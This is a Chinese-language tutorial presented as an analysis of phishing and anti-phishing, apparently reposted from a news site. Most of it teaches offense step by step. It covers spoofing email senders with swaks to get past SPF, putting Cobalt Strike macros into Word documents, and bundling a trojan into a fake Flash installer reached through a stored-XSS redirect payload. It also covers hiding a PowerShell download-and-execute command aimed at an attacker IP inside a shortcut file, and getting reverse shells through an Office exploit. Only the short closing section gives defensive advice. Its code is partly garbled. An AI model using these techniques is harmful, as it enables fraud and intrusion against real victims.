钓鱼与反钓鱼技术浅析
1.邮箱钓鱼
0X00邮箱伪造技术
0X01Swaks伪造邮件
swaks堪称SMTP协议的瑞士军刀,使用它我们可以灵活的操作SMTP协议报文
通常最简单的发送命令:
swaks--touser@example.com--servertest-server.example.net
同时,SPF检测会FAIL
0x01smtp2go
smtp2go主要是相当于邮件托管,可以分发子账户进行发送。地址:https://support.smtp2go.com/hc/en-gb普通账户可以免费发1000封邮件。分配好账户后,可以通过swaks进行登录发送邮件:
0x02swaks发送邮件
swaks--totest@gmail.com--fromadmin@qq.com--ehlogmail.com--bodyhello--servermail.smtp2go.com-p2525-au<USER>-ap<PASS>
但是上面这个邮件无法绕过SPF
0x03SPF验证原理
如果mail.smtp2go.com是我的邮件服务器,那么gmail服务器收到的源IP也肯定是mail.smtp2go.com的IP。gmail会校验邮件发送者的IP是否存在于smtp.from的域名spf配置列表里。而上面这条命令:
waks--totest@gmail.com--fromadmin@qq.com--ehlogmail.com--bodyhello--servermail.smtp2go.com-p2525-au<USER>-ap<PASS>
smtp.from就是admin@qq.com,和mail.smtp2go.com的IP肯定不同,所以SPF校验失败,而校验失败的邮件,会有很高的几率被扔到垃圾邮件中。默认情况下,如果未设置Mail.From也就是邮件头的From,则会使用smtp.from作为Mail.From
0x04绕过SPF
由于邮件显示的是Header中的From不是smtp.from,因此可以将smtp.from设置为正常的邮件服务器地址,伪造一个Mail.From即可
swaks--toceshi@aliyun.com--fromxx@smtp2go.com--h-From:'管理员<admin@qq.com>'--ehlogmail.com--bodyhello--servermail.smtp2go.com-p2525-au<USER>-ap<PASSS>
Gmail接收到这封邮件后,会校验--from?xx@smtp2go.com?中的smtp2go.com是否等于mail.smtp2go.com的IP,由于是相等的,所以完成了SPF的校验。而DKIM是校验邮件完整性的,smtp2go与Gmail直接使用的是TLS,不会发生什么问题
代0x05Header
swaks支持自定义某些Header,参数如下:
swaks--header-<Name><Value>
如果我想去除Mailer特征,就可以这么做:
swaks--header-X-Mailergmail.com--toceshi@aliyun.com--from?xx@smtp2go.com--h-From:'管理员<admin@qq.com>'--ehlogmail.com?--bodyhello--servermail.smtp2go.com-p2525-au<USER>-ap<PASSS>
0x06附件、钓鱼
swaks--header-X-Mailergmail.com--toceshi@aliyun.com--from?xx@smtp2go.com--h-From:'管理员<admin@qq.com>'--ehlogmail.com?--bodyhello--servermail.smtp2go.com-p2525-au<USER>-ap<PASSS>?--attach/tmp/sss.rtf
定制发送:
swaks--data/tmp/mail.data--header-X-Mailergmail.com--to?ceshi@aliyun.com--fromxx@smtp2go.com--h-From:'管理员<admin@qq.com>'--ehlogmail.com--bodyhello--server?mail.smtp2go.com-p2525-au<USER>-ap<PASSS>--attach
/tmp/sss.rtf/tmp/mail.data中是原始的邮件报文。
0x07Python实现码
#!/usr/bin/python
#-*-coding:UTF-8-*-
importsmtplib
fromemail.mime.textimportMIMEText
fromemail.headerimportHeader
mail_host="mail.smtp2go.com"
mail_user=""
mail_pass=""
sender='test@smtp2go.com'
receivers=
message=MIMEText('HelloWorld','plain','utf-8')
message=Header("from@qq.com",'utf-8')
message=?Header(receivers,'utf-8')
subject='SMTP邮件测试'
message=Header(subject,'utf-8')
try:
????smtpObj=smtplib.SMTP()
????smtpObj.connect(mail_host,25)
????smtpObj.login(mail_user,mail_pass)
????smtpObj.sendmail(sender,receivers,message.as_string())
????print"Success"
exceptsmtplib.SMTPException:
????print"Error"s附件携马技术
2?.?Office钓鱼
0X00CobaltStrike生成一个office的宏
0X01打开Word文档,点击“Word选项—自定义功能区—开发者工具(勾选)—确定”
0X02编写主体内容后,点击“开发工具—VisualBasic”,双击“ThisDocument”,将原有内容全部清空,然后将刚刚生成的宏恶意代码全部粘贴进去,保存并关闭该VBA编辑器。
0X03然后将文档发送给别人,内容可以是任何诱惑性的文字,比如通知等,可以针对目标进行相对的文字说明
Office正常情况下是不启用的宏的,可以诱导用户启用
可以通过如下等文字心里暗示
当点击启用宏的时候,木马就上线了
3.?XSS+flash钓鱼
0x01准备工作
一台服务器,一个域名,一个木马
0x02网页构造
源码地址:https://github.com/r00tSe7en/Fake-flash.cn?伪造后是下面这个样子,当然我这是半成品,实战过程中需要购买相似性特别强的域名用来迷惑
修改木马下载地址
0x03木马生成
??在flash官网找到安装包,下载下来与木马捆绑在一起。去生成自己的木马,这里使用CobaltStrike作为演示
将两个文件放在一起
同时选中官方文件和木马,用winrar创建自解压文件。
选择高级-自解压选项-更新-覆盖所有文件
设置解压路径
设置提取后运行的文件,分别把正常程序和木马运行路径填入
设置模式全部隐藏
点击确定后生成文件
为了更具有迷惑性使用ResourceHacker修改图标,将文件拖入后选择操作-替换图标
选择正常的flash
然后放在目录下
0x03利用
找到有存储型xss漏洞的网站,这里以本地dvwa靶场为例,插入以下代码
<script>alert(“您的flash版本过低,请尝试升级后访问该页面”);window.location.href=”http://192.168.121.175/”;</script>
由于是存储型XSS,所以每次访问这个页面都会弹窗并且点击确定后强制跳转至我们的钓鱼页面
点击下载后,运行exe,我们就成功了。
成功上线
4.?快捷方式钓鱼
4.1快捷方式文件钓鱼
lnk文件是用于指向其他文件的一种文件。这些文件通常称为快捷方式文件,通常它以快捷方式放在硬盘上,以方便使用者快速的调用。lnk钓鱼主要将图标伪装成正常图标,但是目标会执行shell命令。
同样使用CobaltStrike生成相应的木马代码
会得到一串powershell代码
Powershell.exe-nop-whidden-c"IEX((new-objectnet.webclient).downloadstring('http://192.168.121.156:80/a'))"
然后新建快捷方式将上面的powershell语句填入
下一步,然后自己命名一下,点击完成
可以更改图标使其更具有诱惑性
当受害者双击之后就会自动执行我们的恶意payload,从目标网站下载并执行。
最终被得到shell。
伪装完毕
发送给目标点击后直接上线
4.2钓鱼:
同样,利用CobaltStrike生成一个恶意木马程序
利用最开始提到的邮箱伪造技术或者通过其他手段拿到内部人员的邮箱账号
发送假的通知
当目标群体下载附件运行以后,就上线了
同样,上面提到的word也可以用这种方式来进行钓鱼攻击
5.0day/nday漏洞钓鱼
双杀漏洞
0x00将CVE-2018-8147利用程序下载到本地并且进入相关目
本机IP:192.168.121.129
0x01执行命令生成payload
开启web服务并且将exp.html和test.rtf复制到web服务目录下面
攻击方式一:
0x00本地监听上述的7777端口
0x01然后将地址发送给目标用户诱导其点开
对应网页会报错
观察我们的监听机器
成功反弹shell
可以执行任意命令
攻击方式二:
刚刚的文档,我们可以改名为具有诱惑性的标题
同样开启监听
发给用户
诱导点开
然后同样会反弹shell
总结
网络钓鱼已成为实施电子犯罪的更常见手段。据统计,网络钓鱼电子邮件在全球邮件流量中所占的份额超过50%,用户的15%至少遭受一次网络钓鱼攻击,攻击公司的比例为85%。大约80%的攻击是盗窃资金。大多数网络钓鱼活动都是短期的。
每次研究人员想出任何发现和预防网络钓鱼的想法时,网络钓鱼者都会使用当前解决方案中发现的漏洞来更改其攻击策略。网络钓鱼可以通过恶意软件或社会工程来执行,后者指的是使用假冒的网页或电子邮件。
当前,没有任何工具可提供100%的防护以防止网络钓鱼攻击,因为这些攻击大多数都是人为因素。由于区块链是一项需要投资的快速发展的新技术,因此对区块链项目的网络钓鱼攻击数量每年都将增加。
受网络钓鱼攻击影响的人员和公司最常见的错误是:
1)对基础设施的保护不足;
2)转到从信件到虚假网站的链接;
3)从局消息中启动恶意脚本;
4)信任欺诈性的广告活动,保证快速简便的收入;
5)社交网络中的保护水平不足;
6)对包含SSL证书的网站的过度信任;
7)投资ICO时对项目的了解不足;
8)无法使用现代的防御网络钓鱼攻击的方法。
整体解决方案:
1)使用书签代替链接;
2)使用带有反网络钓鱼扩展名的浏览器,
3)安装反网络钓鱼软件,
4)禁止点击链接和下载可疑附件;
5)使用服务之前对SSL证书进行身份验证;
6)发布加密钱包的离线副本;
7)使用双重身份验证复杂密码;
8)拒绝公共Wi-Fi,使用安全网关。
来源:金色财经
郑重声明: 本文版权归原作者所有, 转载文章仅为传播更多信息之目的, 如作者信息标记有误, 请第一时间联系我们修改或删除, 多谢。